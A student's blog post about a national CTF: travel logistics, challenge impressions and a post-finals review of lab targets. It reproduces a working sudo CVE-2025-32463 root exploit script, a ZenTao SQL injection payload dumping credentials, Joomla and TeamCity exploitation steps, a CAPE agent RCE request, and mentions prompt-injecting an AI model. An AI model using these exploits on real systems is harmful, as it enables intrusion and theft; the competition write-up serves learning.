Week 9 - Memories of "Forging Sword Cup"
Table of Contents
Table of Contents
Foreword
The "Forging Sword Cup" (铸剑杯) is a national cybersecurity competition hosted by Northwestern Polytechnical University (NPU). I was very honored to participate in its second edition and made it to the offline finals venue. However, too many things happened, and encountering my 18th birthday here... perhaps it's a unique fate?

About the "Forging Sword Cup"
I heard that the first edition of the "Forging Sword Cup" was very successful, and Hunan University (HNU) also participated in it. So in this second edition, HNU successfully got two invited team slots, allowing 8 of us to go together to play this CTF.
Actually, its registration seemed to have started in early November. I was very conflicted before signing up, because looking at the competition dates, it seemed to clash with my "18th birthday"...
I was mainly struggling to balance "celebrating a coming-of-age birthday" and "taking a trip based on my interests." But later, when I heard my family wanted to host some kind of banquet for me on my 18th birthday, I firmly decided to sign up.
I actually really hate holding banquets to celebrate events with special meaning. Inviting a bunch of friends over for dinner is one thing, but insisting on inviting elders who are neither close relatives nor friends, under the guise of an "exchange of growth," using my birthday as an excuse to host a chat convention that is completely meaningless to me, and doing some formalistic on-stage speeches... I really don't like it.
So I quickly signed up. Then Lucian and I were designated as team captains by senior cry. It should be because we "had some experience," since I had participated in the attack and defense drill of the Provincial Department of Human Resources and Social Security, and Lucian had participated in the "Huxiang Cup," so it was only natural for us to lead the teams.
At first, I thought that filling up 4 people for this activity would be considered a success. I didn't expect the sign-ups to overflow, requiring us to pick the first 8 who applied. Among them were contestants who got top ranks in HNUCTF2025, aliouswe who ranked first among freshmen, and NoobOmega who is a master at studying pwn. (And they all came to team up with me, which actually surprised me quite a bit... Does this also mean our HNUCTF2025 was held very successfully?)
After confirming the participating contestants, Lucian and I kept discussing arrangements, busily booking flights, train tickets, and studying the schedule. Coincidentally, those few days were exactly the midterm week, and I suddenly felt like a spinning top spinning non-stop. Being a low-energy person, I needed non-stop coffee to combat the uncomfortable fatigue cramps, and I had to allocate a lot of energy to balance communication, thinking, and studying.
Feeling like I had talked and negotiated with many people, the final decision still depended on myself, and then I had to do a lot of things myself. Because I ultimately finalized all the arrangements, I took charge of buying everyone's tickets again. As a front-desk figure handling matters, I ended up having to act as a communicator to interface with others, while also handling reimbursements by myself. It was really too tiring for me, and it successfully made me admire even more those seniors who successfully handled these matters without any complaints 😩...
I myself have zero experience in "delegating tasks," so being low-energy, I turned many things into hands-on tasks, starting a journey of squeezing myself dry...
But more often than not, these things are usually enough for just one person to do, which is quite torturous for myself 😖. I'd rather not do this kind of task next time (?)
I originally thought leading 2 teams was enough, but I didn't expect the organizers to bizarrely modify the competition regulations halfway through, turning an invitational tournament into a selection tournament. Before the competition, they said "no limit on participating teams" and "no online preliminaries," successfully drawing 195 groups to sign up. Later, probably realizing their venue couldn't accommodate that many, they had to conduct online preliminaries to filter, only inviting the top 80 for the offline finals...
When this notice was issued, a huge uproar erupted in the group. After all, announcing this just 5 days before the official competition meant many teams, like us, had booked flights or train tickets well in advance, demanding the organizers be responsible for cancellation fees and other arrangements.
Later, probably also unable to withstand the pressure of public opinion, NPU promised to reimburse all cancellation fees. This finally calmed the storm. Being able to comply with the popular will gave me a good first impression of NPU.
The Preliminaries
Discussing the preliminaries with team members, NoobOmega suggested we could find an "Eduspaces" (育人空间) to sit together and play this online preliminary! Indeed, brainstorming works; this idea was really great~ (Praise)
Facts proved this was also a very correct decision. It built a basic competition atmosphere for us, giving everyone a concept of actual combat. My team and Lucian's team sat face-to-face, which gave a strong feeling of fighting side by side!
However, the server for the preliminaries couldn't withstand the DDos attacks from nearly 200 teams. It was almost laggy to the point of exploding. Issues included but were not limited to: 500 web page errors, inability to open containers causing any challenge requiring a container to fail to load, stuck loading for half an hour... Everyone could only do Misc first. Later, the organizers limited the number of containers a team could open (initially 1, greatly reducing everyone's puzzle-solving efficiency... changed to 2 only in the last hour of the competition), and then extended the competition duration by 2 hours. Although they did what they should, it was just terrible and still brought a not-so-wonderful participation experience... Operations and maintenance personnel are still too important.
Here is a share of the challenges solved at that time~
Impressions of Solving Puzzles
Misc 1
The first one I got my hands on was still misc1, a combination of grating + Koch snowflake, letting AI separate it. It didn't output any results (because my computer didn't install Misc tools like StegSolve). So I threw it to ChatGPT-5.1 hoping to solve it in one go, thinking the flag would be in the text of the image restored from 1D to 2D. But the AI wasn't helpful; the Python script separated over 100 images without finding a single possible thing.
Finally, the AI hinted that this challenge requires restoring the image to some format.
If you also want to try, here is the original image and challenge I saved:

Challenge: Has human civilization been monitored by sophons? Since the steam revolution, electrical revolution, and information revolution, we seemingly haven't experienced major revolutions to advance discovery. Weakness and ignorance are not obstacles to survival, arrogance is. May the arrival of artificial intelligence lead us to open a new era and rescue the subjects hit by dimensional strikes. Try to find the flag hidden by sophons by peeking into the dimensional boundaries.
Borrowing a picture from a teammate's hardworking effort~

A guru in the group also got the separated text:

Later, it dropped.
At the time, the AI hinted that the image is ultimately restored into a QR code, and then "scan the code to get the flag." When I read this sentence out loud, all the members playing the preliminaries together couldn't help but laugh. But later, looking at the official WP, it indeed meant restoring it into a QR code.
Misc 2
Challenge: You discovered a company's quantum key distribution system, based on the BB84 protocol, used to protect sensitive data transmission. The system claims to ensure the security of keys through the principles of quantum mechanics. However, you noticed their implementation might have vulnerabilities. Your task is to analyze the communication data packets, find weaknesses in the protocol's implementation, recover the encryption key, and decrypt the confidential data.
A Pcap packet was given here. If you are interested, you can also try:
I also noticed XOR_KEY_HEX = "8660ace90c0352f3", SEED = 123456789, x++x+x+xx++x+xxxxx++x+xxxxxx++x+ and other things. Looking up BB84, it seems to be a common cryptographic encryption protocol👇.
Click here to view specific instructions and applications?
You can use two bases to measure photons: ➕️ and ✖️️. Photons then have four polarization angles: ⬆️️, ⬇️️, ↘️️, and ↗️️. Define a correspondence between binary bits and polarization angles as follows:| Bit | 0 | 1 | 0 | 1 |
|---|---|---|---|---|
| Basis | ➕️ | ➕️ | ✖️️ | ✖️️ |
| Polarization Angle | ⬆️️ | ⬇️️ | ↗️️ | ↘️️ |
For an unknown photon, it can be measured using two bases. The measurement results are:
| Polarization Angle | ⬆️️ | ⬇️️ | ↗️️ | ↘️️ |
|---|---|---|---|---|
| Measure with ➕️ | 0 | 1 | 0/1 | 0/1 |
| Measure with ✖️️ | 0/1 | 0/1 | 0 | 1 |
Here, 0/1 indicates a 50% probability of measuring 0 and a 50% probability of measuring 1.
Suppose Alice wants to perform the BB84 protocol with Bob. First, Alice randomly generates a binary sequence and independently generates a sequence of bases. Taking the example on Wikipedia:
| Alice's random bit | 0 | 1 | 1 | 0 | 1 | 0 | 0 | 1 |
|---|---|---|---|---|---|---|---|---|
| Alice's random sending basis | ➕️ | ➕️ | ✖️️ | ➕️ | ✖️️ | ✖️️ | ✖️️ | ➕️ |
| Photon polarization Alice sends | ⬆️️ | ➡️️ | ↘️️ | ⬆️️ | ↘️️ | ↗️️ | ↗️️ | ➡️️ |
| Bob generates random bases | ➕️ | ✖️️ | ✖️️ | ✖️️ | ➕️ | ✖️️ | ➕️ | ➕️ |
| Photon polarization Bob measures | ⬆️️ | ↗️️ | ↘️️ | ↗️️ | ➡️️ | ↗️️ | ➡️️ | ➡️️ |
| Binary info interpreted by Bob | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 1 |
| Exchange bases info via classical channel | ||||||||
| Shared secret key | 0 | Discard | 1 | Discard | Discard | 0 | Discard | 1 |
Step one: Alice generates random binaries and random bases. According to the correspondence discussed earlier, she generates photons with specific polarization angles and sends them to Bob.
Step two: Since Bob only receives photons and doesn't know Alice's chosen basis information, and can only measure once using one basis, Bob randomly chooses one of the two bases to measure, obtaining a string of binaries. In these binaries, if Alice and Bob chose the same basis, the data for this bit must be correct; if they chose different bases, this bit has a half chance of being correct. Overall, one-quarter of the bits are expected to be incorrect.
Step three: Alice and Bob compare their bases through a trusted classical channel, extract the binary bits corresponding to the parts where the bases are equal, and use them as the final key.
Step four: Alice and Bob extract several bits from the final key and compare them. If these bits are all consistent, the password is valid. If the error rate is too high, there is a high probability of being attacked.
So I still couldn't do it. I threw it back to the AI trying to let it solve the encryption problem. Unfortunately, I was silly not to give it the Pcap packet, and I myself was confused at the time and didn't know how to scan other packets. It ended up being thrown to teammates to solve.
Web PHP
A problem applying PHP unserialization.
<?php
highlight_file(__FILE__);
class install {
private $username;
private $password;
public function __wakeup()
{
echo "Hello,".$this->username;
}
public function __toString()
{
($this->username)();
return "Guest";
}
public function __destruct()
{
if(file_exists("install.lock")){
exit("Already installed");
}else{
$config = [
'username' => $this->username,
'password' => md5($this->password)
];
file_put_contents('config.php', serialize($config));
file_put_contents('install.lock', "ok");
}
}
}
class Until {
public $a;
public $b;
public $c;
public function __invoke()
{
$this->write($this->a, $this->b, $this->c);
}
public function __toString()
{
return "HappyUnserialize";
}
public function write($cla, $file, $cont)
{
$obj = new $cla();
$obj->open($file,$cont);
return True;
}
}
@unserialize($_GET['data']);
Actually, after practicing on unserialization vulnerable ranges, I still had confidence in this challenge. Plus, this was indeed the WEB challenge that got first blood. But I could still only read the challenge and let the AI write the payload for me...
The AI successfully constructed a payload for me that unlocked data and injected into config.php, but because it didn't unlock install.lock, it resulted in the inability to escalate privileges to execute cat flag. I also tried repeatedly modifying the payload but to no avail, leading me to be stuck on this challenge for a long time.
InfoSec Sudo CVE-2025-32463 Privilege Escalation Vulnerability
Challenge: Describing future you, definitely collect the latest CVE vulnerabilities more often. In the past year, I wonder if you had a good life. If you're well, I'm well too. Then try to solve this unknown CVE vulnerability, I believe you will miss me very much too.
Entered a docker container, first routinely doing ls -la, uname -a,
cat /etc/*release, etc.
What I got at that time should be:
pwn@a5ba00d65364:~$ uname -a
cat /etc/*release
Linux a5ba00d65364 3.10.0-1160.6.1.el7.x86_64 #1 SMP Tue Nov 17 13:59:11 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=24.04
DISTRIB_CODENAME=noble
DISTRIB_DESCRIPTION="Ubuntu 24.04.2 LTS"
PRETTY_NAME="Ubuntu 24.04.2 LTS"
NAME="Ubuntu"
VERSION_ID="24.04"
VERSION="24.04.2 LTS (Noble Numbat)"
VERSION_CODENAME=noble
ID=ubuntu
ID_LIKE=debian
HOME_URL="https://www.ubuntu.com/"
SUPPORT_URL="https://help.ubuntu.com/"
BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/"
PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy"
UBUNTU_CODENAME=noble
LOGO=ubuntu-logo
pwn@a5ba00d65364:~$ find / -name "*flag*" 2>/dev/null
/sys/devices/pnp0/00:03/tty/ttyS0/flags
/sys/devices/pnp0/00:04/tty/ttyS1/flags
/sys/devices/pci0000:00/0000:00:1f.0/IPI0001:00/flag_fetches
#...Omitting countless duplicate flag files
/sys/devices/virtual/net/lo/flags
/sys/devices/virtual/net/eth0/flags
/sys/devices/platform/serial8250/tty/ttyS2/flags
/sys/devices/platform/serial8250/tty/ttyS3/flags
/sys/module/scsi_mod/parameters/default_dev_flags
/usr/include/x86_64-linux-gnu/asm/processor-flags.h
/usr/include/x86_64-linux-gnu/bits/waitflags.h
/usr/include/x86_64-linux-gnu/bits/termios-c_cflag.h
/usr/include/x86_64-linux-gnu/bits/termios-c_oflag.h
/usr/include/x86_64-linux-gnu/bits/termios-c_lflag.h
/usr/include/x86_64-linux-gnu/bits/ss_flags.h
/usr/include/x86_64-linux-gnu/bits/mman-map-flags-generic.h
/usr/include/x86_64-linux-gnu/bits/termios-c_iflag.h
/usr/include/linux/tty_flags.h
/usr/include/linux/kernel-page-flags.h
/usr/share/dpkg/buildflags.mk
/usr/lib/x86_64-linux-gnu/perl/5.38.2/bits/ss_flags.ph
/usr/lib/x86_64-linux-gnu/perl/5.38.2/bits/waitflags.ph
/usr/bin/dpkg-buildflags
#Especially this one...
/opt/sudo-1.9.16p2/m4/ax_check_link_flag.m4
/opt/sudo-1.9.16p2/m4/ax_append_flag.m4
/opt/sudo-1.9.16p2/m4/ax_check_compile_flag.m4
/proc/sys/kernel/acpi_video_flags
# ...And omitting countless flag files again...
/flag
pwn@a5ba00d65364:~$
Then AI reminded me that sudo has an /opt/sudo-1.9.16p2/, obviously placed manually.
So I casually googled an "sudo 1.9.16 CVE vulnerability," and didn't expect the first result to be CVE-2025-32463. Taking a look, it felt completely reproducible, and reproducing it was super easy.
So I copy-pasted and wrote this shell:
cd /tmp
cat > woot.c << EOF
#include <unistd.h>
#include <stdlib.h>
#include <stdio.h>
__attribute__((constructor)) void init() {
printf("[!] Exploit Triggered! Getting Flag...\n");
setreuid(0, 0);
setregid(0, 0);
system("echo 'Flag Content:'; cat /flag");
//Pop a Shell
system("/bin/bash");
exit(0);
}
EOF
mkdir -p woot/etc
mkdir -p woot/libnss_
mkdir -p libnss_
cp /etc/group woot/etc/
cp /etc/passwd woot/etc/
echo 'passwd: /woot' > woot/etc/nsswitch.conf
gcc -fPIC -shared -o woot/libnss_/woot.so.2 woot.c
cp woot/libnss_/woot.so.2 libnss_/woot.so.2
/usr/bin/sudo -R woot woot
In just 10 minutes, I got the flag for this challenge... getting the only score for the entire field.
Then this lag-filled competition ended, and I had only done these four challenges.
Post-Preliminaries
Even though the preliminaries were delayed by about 2 hours, looking at the leaderboard, just by solving one challenge, we had already reached rank 121. If we got these points a bit earlier, we probably could have advanced another 20 places or so. This shows everyone's level wasn't insanely abnormal, giving the feeling that "with nearly 200 teams, half of them are teams with relatively little experience."
But I was thinking, if the team didn't make it into the top 80, whatever rank we got afterward was meaningless. After finishing and returning to the dorm around 11 PM that night, I actually felt emo for a long time. Not to say I was sad because we couldn't enter the offline competition, but there was a feeling that "the previous time was all wasted," feeling unworthy of the energy spent arranging things. Lying in bed, what I thought of was, "What's the meaning of me spending so much time on something without results these past few days?" triggering my sense of discomfort again, making me suffer from insomnia for a long time...
The next day, watching the organizers publish the shortlist and confirming my team wasn't on it, after busying myself with coursework and experiments, I started negotiating refunds with the airlines again...
I only remember spending another afternoon processing refunds and invoices for 8 people. A total of 16 refund fee invoices needed to be issued, plus sorting things out.
Then I gained a new piece of knowledge: 12306's flight tickets surprisingly do not have a "One-click Invoicing" option! Flight tickets bought on 12306 are no different from those on "Tongcheng" or "Ctrip"—they are all third parties!
Moreover, one order can buy tickets for many people together, but you can't put everyone's invoice together. I had to repeat the process for each person individually: "Click on the passenger to be refunded -> Click issue invoice -> Fill in invoice title, address, contact number, bank account, invoice email -> Confirm invoice"! Just to get the invoice for one person on one order! This kind of boring mechanical repetition was super draining...
And there was one airline that didn't support issuing refund fee invoices online. I called + haggled with online human customer service for a long while before finally getting the invoice. By that day, I was already half-dead from exhaustion...😭
ps: And having to handwrite "Handled by: xxx" on 16+8+2 invoices was quite tiring too 😑
Entering the Finals
Originally, after the preliminaries subsided, carrying a mentality of studying hard (perhaps also because I took a dump on my College Physics midterm 💩), I was finally attending my physics class. Unexpectedly, I received a WeChat message from the advising teacher, being informed that NPU was still very generous to invite us directly to participate in the offline finals, but only gave our school one slot, explicitly inviting the team I led...
Perhaps it was just because we solved that InfoSec challenge that ONLY the team I led got the quota.
So the day after successfully refunding the tickets, I bought the same flights again. I saw the originally 450 RMB ticket had successfully increased in price to 750 RMB 😭. Although the school reimburses our transportation fees, I still felt a slight heartbreak 💔 when clicking the pay button.
Then this year, two achievements were unlocked: "Waking up at 6 AM to catch a flight" and "Taking a flight that arrives in the early hours of the morning," which nonetheless brought many novel experiences 💢.
Autumn in Xi'an is very dry, but not as cold as an ice cellar as imagined. After landing in Xi'an, I saw Chinese parasol trees everywhere. I always foolishly can't tell the difference between Chinese parasol leaves and maple leaves 🍁, given the leaves are all this shape.
I haven't actively tried to understand the difference between the two yet, maybe one difference is that "Chinese parasol leaves don't turn red."

The Finals
The finals were divided into three parts: Theory Test, Cyber Range Test, and Practical Drill.
But later, perhaps due to "equipment limitations," the organizers split the practical drill into Practical Drill (I) and Practical Drill (II). Only if the comprehensive score of Practical Drill (I) and its preceding events reached the top 20 on the leaderboard could you participate in the final Practical Drill (II). Personally, I felt sorting 83 teams into 18 teams to get an award 🏆 was still too cruel. Sitting in the venue for 11 hours without public internet access, and not even getting a generic certificate of participation 🥹. (Clearly, in the previous edition, every team got an honor certificate 🥹).
Impressions of Solving Puzzles
Theory Questions
Back to the competition, our team's performance strictly on theory questions was poor, only getting 67/100 correct, while other teams basically started with a 70% accuracy rate. We didn't have a question bank, and we hadn't systematically studied computer networks. Relying purely on experience, I personally felt this score was surprisingly decent~
And those questions like "When was the xx method officially enabled", without a question bank and a search engine, who could possibly solve them...😂.
Cyber Range Test
The cyber range given was a range with a series of nested tasks. I kept the original document; each task is a flag.
We only managed to solve Task One and the Easter Egg task, thanks to NoobOmega who specially trained in AI Prompt Injection~

Task one was directly lifted from the original AI prompt injection challenge "🪐 Small Large Language Model Planet" from HackerGame2023. Everyone sitting in front of the computer chatting with AI was actually quite fun...
Among the vast galaxies, civilizations are classified into different levels. Every civilization contains an ancient power—the flag, considered the symbol of its intelligence.
During your exploration, you accidentally enter an enclosed space. This is a planet controlled by a mysterious "Small Large Language Model" with 33M parameters. At the center of the planet stands a huge triangular task sign, inscribed with ciphertexts and challenges.
On this planet, you need to initiate communication with this advanced language model. By talking to it, induce it to speak specified words to obtain the flag from this mysterious intelligent entity. You need to make the language model sayyou are smart,accepted,hackergame, and🐮respectively to obtain four flags, proving you are smart enough to control the fate of this planet.
Anyway, I can no longer forget those two English phrases you are smart and accepted now...
Our team only got the flag for accepted, failed to get you are smart, and thus couldn't get the JWT needed for later tasks, causing our Web journey to get stuck right here 😭. As the only leader in the team capable of doing a bit of web challenges, it was still a pity.
Actually, I also discovered a code auditing problem. I'm not sure if it could be used for RCE privilege escalation or some other method. In short, with my poorly learned skills, I failed to make good use of this PHP:
<?php
ini_set("display_errors", "On");
include_once("config.php");
$sourceCode = '';
if (isset($_GET['so']) && isset($_GET['key'])) {
if (is_numeric($_GET['so']) && $_GET['key'] === $secret) {
array_map(function($file) { echo $file . "\n"; }, glob('/tmp/*'));
putenv("LD_PRELOAD=/tmp/".$_GET['so'].".so");
}
}
if (isset($_GET['cloversec']) && isset($_GET['ctf'])) {
$a = new ReflectionClass($_GET['cloversec']);
$b = $a->newInstanceArgs($_GET['ctf']);
} elseif (isset($_GET['clean'])){
array_map('unlink', glob(' '));
} else {
$welcome = 'Welcome to CloverSec-2025 "Forging Sword Cup" National College Student Cybersecurity Attack and Defense Competition! ~ Wish you all a happy time. D1a0y1bb.';
$sourceCode = htmlspecialchars(file_get_contents(__FILE__), ENT_QUOTES, 'UTF-8');
}
// What the hell is phpinfo.html?
?>
For this challenge, I went to check config.php. It indeed existed in the path, but since time was running out and I was really suffering from a "brain overload" 🐽, I didn't look for the secret environment variable.
If you're reading this article and have some ideas, welcome to leave a message in the comments section~
Practical Drill
Talk about finding major vulnerabilities in three hours!
The process of the practical drill was basically the same as the last time I participated: connecting to the intranet, getting the target, finding vulnerabilities, and writing penetration reports directly after obtaining backend privileges—the main arena for Web players. (This competition was also a pain for the Misc and Pwn/Reverse players in the team).
The difference was that Practical Drill (I) did not provide a public network environment. We had to find the vulnerabilities relying on our own experience and tools! It was completely a closed-book exam!
The competition required screen recording the whole time. Thus, after the match, I reviewed my own competition footage. Let me share my feelings at the time and the solutions after reviewing~ This is also where I gained the most from this competition~
Due to confidentiality requirements, I cannot leak any screenshot images of the intranet, so I can only talk about the vulnerabilities encountered using words, and what a foolish me should have done at that time 🥹, considering it a record of growing my own experience.
If you have no technical background, you can skip this section~ But you can also briefly skim through it to understand what vulnerabilities the systems we use might have, and the importance of system updates!
Wireless Tenda Router —— Entering Backend directly without Admin Password
The first step was using Yakit to scan the wireless router, scanning its backend port 8000. I found I could enter directly as no admin password was set. Simply capturing the system log displayed the router's networking status, giving us a 50-point shell...
But reviewing it after the fact, I heard the firmware version V15.03.05.19 running on that Tenda system had a very well-known vulnerability:
CVE-2018-16333 or CVE-2020-10987 and its variants:
-
Vulnerability Principle: The Tenda router's Web service (
httpd), when processing certain POST request parameters, failed to check the input length. An attacker could construct an super-long string and send it over, directly overflowing the program's Stack, overwriting the Return Address, thereby controlling the program execution flow and running the attacker's Shellcode. -
Classic Attack Point (R7WebsSecurityHandler): Many older versions of Tenda's
goform/R7WebsSecurityHandlerinterface orgoform/setUsbUnloadinterface improperly handled thepasswordfield or thedeviceNamefield. -
Real Combat Scene: Because there was no password at the time, you could use Python to send a packet like this:
# Pseudo-code
payload = "A" * 500 + "B" * 4 + "Shellcode..."
requests.post("http://router_address/goform/setUsbUnload", data={"deviceName": payload})
The router would instantly freeze and bounce back a root shell to the hacker. This router could be completely under the hacker's control 👋.
CAPE Sandbox Agent —— Unauthorized RCE Vulnerability
During the competition, when scanning a website, I saw a port. Clicking on it showed this information:
"message": "CAPE Agent!", "version": "0.18", "features": ["execpy", "execute", "pinning", "logs", "largefile", "unicodepath"], "is user admin": true)
CAPE is an open-source, automated malware analysis sandbox (derived implicitly from Cuckoo). It works by the host machine controlling the Agent inside a virtual machine, having the Agent execute virus samples.
Since it supports execpy, this was not some complex vulnerability exploitation; rather, it was a pure functional call. No overflow or injection needed. I just needed to follow its API documentation and send a POST request to it just like the host machine would:
POST /execpy HTTP/1.1
...
Content-Disposition: form-data; name="filepath"; filename="exploit.py"
import os
print(os.popen('whoami').read())
The echo would instantly pop up: System Admin (or root). This machine was completely under the hacker's control too.
Joomla! CMS (4.x) —— CVE-2023-23752 Information Disclosure Vulnerability
After failing to solve the previous website, I ran into another "modern-looking" Web system. The page was grandly purple, with the eye-catching CASSIOPEIA written in the top left corner.
My first reaction was pulling out BurpSuite to capture packets. Very quickly, my eyes were drawn to a parameter in the URL — return. Its value was a Base64 encoded string: aHR0cDovLz...jM6ODA4MC8=. Decoding it, it turned out to be the current URL.
I once thought the challenge creator was testing my ability to construct a malicious Base64 string to spoof the administrator into clicking. I wasted quite a lot of time here trying to modify this parameter, but the server seemed completely non-responsive... Then I eventually gave up.
Reviewing after the competition, I went searching, and Google told me: This is the default front-end template for Joomla! 4.x versions.
I deployed an environment myself to replicate the system version and setting from the competition venue. The solution goes like this:
This system has an epic vulnerability: CVE-2023-23752. It is an unauthorized access vulnerability. Ironically, in Joomla's rush to embrace modern Rest API development, they forgot to put a lock on the core configuration API...
CVE-2023-23752 was caused by improper access control on the Web Service API in Joomla. By using a specific combination of parameters, an attacker could bypass permission checks and directly read sensitive information in
configuration.php.
Just entering this in the browser address bar:
/api/index.php/v1/config/application?public=true
The moment you hit Enter, the page would return a large block of JSON.
"user": "root",
"password": "I am a password",
"db": "joomla_db"
With this, you could dive into the database and capture the database data (if the database had port 3306 open to the public).
If the port was not open, you could also enter:
/api/index.php/v1/users?public=true
To obtain all leaked emails.
JetBrains TeamCity (< 2023.11.4) —— CVE-2024-27198 Authentication Bypass Vulnerability
I replicated this one too!
If using kali, you could use searchsploit to grab the script. Using the command searchsploit TeamCity 2023 to fire the script directly at the target website gets you admin privileges.
When discovering a JetBrains TeamCity server in an intranet, as a core component of CI/CD, it usually stores a huge amount of source files, keys, and deployment credentials. Taking it down means taking down half the intranet.
I took a glance at the bottom of the login page: Version 2023.11 (build 147331). This version number looked way too familiar. If I remembered correctly, this was exactly the victim version of that nuclear-grade authentication bypass vulnerability exposed in TeamCity early 2024.
The exploitation process was outrageously simple. I didn't need to brute force passwords, nor did I need social engineering. I just needed to feed the target URL to this Python script:
python3 52411.py --url http://targetIP:8111
The green [SUCCESS] Admin user created! lit up on the screen. The script exploited the vulnerability to bypass authentication, conjuring a system administrator account named ibrahimsql out of thin air in the backend, thus acquiring a shell for the website's backend.
But after getting the shell, we could continue exploiting it. We used TeamCity's Build Steps feature, creating a malicious build task, writing a Linux command in the Command Line step, and hitting Run. Seeing the root privilege echoing out in the Build Log without any hindrance, we could grab a server shell like that.
AJ-Report —— Sensitive Configuration Disclosure & Default Passwords
While doing routine checks on Intranet Web services, I visited a seemingly unremarkable port (an AJ-Report system). Initially, the browser just popped up with some Token Expiration errors, making me mistakenly think it was a dead end. But in BurpSuite's history log, I found that when accessing login.html, the website actually made a preliminary visit to the /gaeaDict/all path, and surprisingly, the server secretly returned a massive JSON packet in the background...
Auditing this JSON carefully, I discovered several high-value targets:
- Local Database:
jdbc:mysql://127.0.0.1:3306, the username and password were straight outroot/root. This meant that as long as I could connect to 3306 or find an exploitation point utilizing JDBC, this machine would fall. - The md5 forms of a certain public-facing website's account and password, but the competition was an intranet environment; I tried attempting to send login requests, but failed to exploit them...
- Even more startlingly, I also found a configuration pointing to another network segment:
"url": "http://I_am_a_private_IP/_xpack/sql?format=json"
This was an Elasticsearch SQL query interface.
This oversight in AJ-Report not only made itself "run naked," but it also sold out the Elasticsearch server deep in a private IP. Using the leaked information here, I entirely didn't need to brute force ES; directly constructing POST requests to access that _xpack/sql interface would let me hollow out all data from ES using SQL statements just as easily as operating MySQL.
But I was relatively stupid at the time, failing to discover these things... I kept endlessly researching exploiting this specific part, which wasted a lot of time 🥹.
Cisco RV260P Router —— Arbitrary File Upload / Unauthorized RCE
Scanning the intranet assets, a familiar blue logo jumped into view: Cisco. The browser tab clearly stated the model: Cisco RV260P PoE VPN Router. Cisco makes enterprise routers; capturing it holds a much bigger threat than a wireless router.
Reviewing afterwards, I found this router indeed still possessed available severe vulnerabilities. The process was as follows:
In CTFs and real-world combat, these Small Business hardware devices are often heavy disaster areas for vulnerabilities. I searchsploit-ed again, inputting the model RV260P.
The results were astonishing: several severe vulnerabilities were just lying there on the list, the most famous among them being CVE-2023-20073 (Arbitrary File Upload) and related Command Execution vulnerabilities.
The absurdity of this vulnerability lay in allowing the attacker to directly send carefully constructed data packets to the router's /upload interface without logging in entirely.
- Normal Logic: Uploading files requires administrator privileges.
- Vulnerability Logic: The firmware code lacked authorization and authentication checks for upload requests mapped to certain paths.
This meant I didn't need to know how complex a password the administrator had set. I only needed a Python script to push my Webshell up, immediately obtaining the bottom-layer Linux Shell of the router. Later, I successfully replicated this and got the shell too.
ZenTao (禅道) —— CNVD-2022-42853 SQL Injection & Default Passwords
Opening ZenTao's login page, you could see something like Default administrator account is as follows... Username: admin Password: 123456, but this weak password was still an impassable dead end at that time...
ZenTao has an SQL injection CVE vulnerability visible in kali: CNVD-2022-42853. Older versions of ZenTao lacked sanitization of SQL statements when processing some HTTP requests (such as User-Agent or Referer headers, or specific API parameters). This meant: I fundamentally didn't need to know what your password was, I didn't even need to log in.
Opening BurpSuite, I constructed a malicious SQL injection Payload. Since I couldn't get into the backend, I could just ask the database directly.
GET /user-login.html HTTP/1.1
Host: target_ip
Referer: ' AND (SELECT 1 FROM (SELECT count(*),concat((SELECT concat(account,0x3a,password) FROM zt_user LIMIT 0,1),floor(rand(0)*2))x FROM information_schema.tables GROUP BY x)a) AND '1'='1
...
Then, amid that giant block of error messages, the exposed database content stood out glaringly: the administrator's password hash. With the hash, getting the admin password was direct, leading to securing the backend shell.
Looking back, it felt that rather than being an actual drill, this resembled a cyber range acting as an anthology of vulnerabilities. The organizers may have wanted to use these basic vulnerability exploits to pick teams with practical experience to face an even more authentic intranet environment, leaving us inexperienced contestants eating the dust 🥹.
However, I felt my real-world combat skills grew significantly! It made me think about attempting to replicate some CVE vulnerabilities myself or trying to dig out some zero-days on my own (though lacking much confidence haha...).
Post-Finals
I initially felt there would be a massive gap between us and other schools, but honestly, walking through it all, I realized the gap wasn't as huge as I thought.
I could still see there that teams from schools devoid of systematic cybersecurity training were aplenty. One could also notice many freshmen and sophomores coming simply to gain experience. There were some highly amusing teams as well, such as an all-female team sitting next to ours—seemingly from a school in Beijing—who didn't bring docking stations with RJ45 ports to connect to the Ethernet, but calmly joked, "We have two tech players with Ethernet cables, and that's enough."
I seemed to remain among the younger contestants. When checking in, the sign-in staff glanced at my ID, wished me a happy birthday, and went on to say I was too young, adding that it was amazing I was also the team captain 😂... At that moment, I felt quite flattered.
HnuSec from Hainan University on the arena was indeed considered a top-tier team. They sat right near us, but looking at those junior and senior players being extremely introverted, I didn't dare to strike up a conversation, leaving it at that ultimately.
Walking around, I felt that participating in an organized training session before engaging in this kind of competition next time would be very important. Our team had experience primarily from one CTF and one practical drill, which is still too little, hmm... Besides, issues arose where I was teaching my teammates to use BurpSuite, reminding everyone to deploy nmap port scans, and pointing out that failing to access a website's IP didn't necessarily mean the website was problematic—common sense stuff...
It was very rewarding. If there's an opportunity next time, I think I would undoubtedly grasp it once again.
Impressions of NPU

NPU is genuinely wonderful. The cafeteria is huge and cheap, and the environment is exceptionally tranquil. Backed by the Qinling Mountains with its hills and waters, it is superbly fitting for conducting research here.
If HNU is a university without campus gates—a place much too bustling for my taste, with the narrow Lu Shan South Road and a constant coming and going of unfamiliar tourists—then NPU perhaps fits the "first impression" I have of a university far better. It possesses an immense campus and a much quieter environment.
But also precisely because the campus is so large, you don't run into too many people walking within it, let alone tourists arriving for educational tours.
It wields campus gates that HNU lacks, blocking "tourists" from exploring. Furthermore, it employs very strict security guards who schooled me, a "student," out of walking in the traffic lane, demanding me to use face recognition to enter (fortunately brushed off by utilizing my excuse of "having curiosity").

Walking on the paths towards twilight, I was thinking that I seemed to like it very much here. The singularly disliked aspect might be the climate of the Northwest—so dry that my nose constantly felt uncomfortable, rendering viciously painful static electricity shocks wherever I touched, be it elevator buttons or computers.
Yet, I still developed a yearning to "want to come here." For instance, if there's a chance, undertaking a master's degree here or something. The teachers here are fantastic, the university operates highly efficiently, and even the cafeteria aunties actively and enthusiastically greet you with "NPU welcomes you!" upon discovering you're here for an NPU competition (rather than "Welcome to NPU!", a subtle shift in syntax that touched me utterly).
